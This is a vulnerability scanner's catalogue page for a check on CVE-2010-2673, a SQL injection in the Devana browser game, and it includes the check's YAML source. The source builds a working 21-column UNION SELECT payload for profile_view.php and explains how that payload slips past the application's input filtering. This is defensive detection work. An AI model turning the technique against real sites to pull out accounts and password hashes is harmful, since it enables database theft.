Devana — 1 vulnerability check

noctis ships 1 vulnerability check for Devana, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Devana profile_view.php id SQL Injection

CVECVE-2010-2673
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/devana/CVE-2010-2673.yaml

Devana 1.6.6 and earlier, a PHP/MySQL browser strategy game, put the id parameter of profile_view.php unquoted into the SQL query that lists a player's towns, allowing SQL injection by anonymous visitors: an attacker can read the whole database, including player accounts and their password hashes.

This check looks for a Devana home page in the web root and in /devana. Where it finds one, it requests profile_view.php with an id that matches no player, followed by a 21-column UNION SELECT whose town-name column is the word NOCTIS (sent hex-encoded) joined to the product of two random numbers. The vulnerability is confirmed when the page lists a town named after that computed value, which appears nowhere in the request. No stored data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. HTTP(S) request GET {{dir}}/profile_view.php?id={{sc.q}}
  4. Parses / computes the next value with a Rhai script
  5. Checks hit for ^/ → finding QoD 97: Devana profile_view.php id SQL Injection (CVE-2010-2673)

References:

Feed source — tests/vulnerabilities/devana/CVE-2010-2673.yaml
# Devana <= 1.6.6 — profile_view.php id SQL injection — CVE-2010-2673
#
# profile_view.php (every 1.x release, 1.0 … 1.6.6; read in the SourceForge tarballs)
# passes $_GET["id"] to towns() in func.php, which runs it unquoted:
#     select * from towns where owner=$id order by isCapital desc
# and prints, for each returned row, the town name (3rd column) as
#     <td><a class='q_link' href='map.php?x=..&y=..'>NAME</a></td>
# towns has 21 columns in every 1.x schema (devana.sql). 1.0-1.3.3 do not filter id,
# 1.4.3 escapes it, 1.5.3 runs clean() (strip_tags, htmlspecialchars, escaping, removes
# the literal "%20") and 1.6.6 clean() also removes  " ' \ = ; :  — a quote-free,
# "="-free UNION goes through all of them intact. The same id also reaches check_d()/
# get_d() (one-column query on d_queue: our 21-column UNION fails there, so nothing in
# check_d's account-deletion branch can run) and user() (digits only). Devana 2.0 is a
# rewrite without profile_view.php.
#
# Detection, per candidate install dir whose index.php names Devana:
#   profile_view.php?id=-<r> UNION ALL SELECT 1,2,concat(0x4e4f43544953,a*b),4,…,21-- -
#   (random a, b; 0x4e4f43544953 = "NOCTIS"). The page lists a town named NOCTIS<a*b>
#   only if the database evaluated the expression: neither the word nor the product is
#   in the request, so a page that echoes the parameter cannot match. Read-only: the
#   UNION row is built from constants, no table row is selected (owner = -r).
#
# Better than the source NASL:
#   - the NASL's pattern >(([0-9.]+)([a-z0-9.]+)?)< accepts any number between two tags
#     (the injected constant 4 in the population cell, a town's population, a date
#     fragment…), so it never proves the injected version() was evaluated;
#   - its "1=2" loses its "=" to clean() on 1.6.6 (becoming "1 AND 12", true), so real
#     towns of user 1 are listed too; a negative owner id needs no "=";
#   - "-- -" ends the comment explicitly instead of relying on the space of the original
#     query after "--".
#
# CVSS: NVD v2 7.5 (no v3 score published).
#
# Source: OpenVAS/Greenbone NVT 2010/gb_devana_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801229, GPL-2.0-only).
uid: 8f1e63b4-8d21-4e12-b69d-380767beb6de
name: "Devana profile_view.php id SQL Injection (CVE-2010-2673)"
description: |
  Devana 1.6.6 and earlier, a PHP/MySQL browser strategy game, put the id parameter of
  profile_view.php unquoted into the SQL query that lists a player's towns, allowing SQL
  injection by anonymous visitors: an attacker can read the whole database, including
  player accounts and their password hashes.

  This check looks for a Devana home page in the web root and in /devana. Where it finds
  one, it requests profile_view.php with an id that matches no player, followed by a
  21-column UNION SELECT whose town-name column is the word NOCTIS (sent hex-encoded)
  joined to the product of two random numbers. The vulnerability is confirmed when the
  page lists a town named after that computed value, which appears nowhere in the
  request. No stored data is read and nothing is written.
cves: [CVE-2010-2673]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [devana, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2673"
  - "https://www.exploit-db.com/exploits/11922"
  - "https://sourceforge.net/projects/devana/"
  # OpenVAS/Greenbone NASL 2010/gb_devana_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected town name and the encoded id payload ────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      let r = rand_int(100000, 999999);
      let cols = "1,2,concat(0x4e4f43544953," + a + "*" + b + ")";
      let i = 4;
      while i <= 21 { cols += "," + i; i += 1; }
      #{ want: "NOCTIS" + (a * b),
         expr: a + "*" + b,
         r: "" + r,
         q: "-" + r + "+UNION+ALL+SELECT+" + cols + "--+-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/devana"]

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}

  - id: fetch-home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: home

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/profile_view.php?id={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && home.status == 200 && type_of(home.body) == "string" && egrep("(?i)devana", home.body) != ""'
    store_as: probe

  # The computed name must be a whole cell value (">NOCTIS<prod><"), as towns are listed.
  - id: check-union
    action: script
    condition: 'hit == "" && probe.status != 0'
    code: |
      let body = if type_of(probe.body) == "string" { probe.body } else { "" };
      if egrep(">\\s*" + sc.want + "\\s*<", body) != "" {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: hit

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit
    pattern: "^/"
    on_match:
      finding:
        title: "Devana profile_view.php id SQL Injection (CVE-2010-2673)"
        description: "A request to profile_view.php with an id carrying a 21-column UNION SELECT returned a town named after a value computed by the database (a fixed word joined to the product of two random numbers, neither present in the request): the id parameter reaches the SQL query unquoted, so an anonymous attacker can read the whole database, including player accounts and password hashes."
        remediation: "Devana 1.x is no longer maintained and no fixed 1.x release exists: remove it or replace it with the Devana 2 rewrite. If it must stay, cast the id parameter (and every other numeric parameter) to an integer before it is used in a query, and restrict access to the game."
        confidence_delta: 0.65
        qod: 97
        evidence: "{{hit}}: profile_view.php?id=-{{sc.r}} UNION ALL SELECT 1,2,concat(0x4e4f43544953,{{sc.expr}}),4..21-- - listed a town named {{sc.want}} computed by the database"
      stop: true

View these feeds on GitHub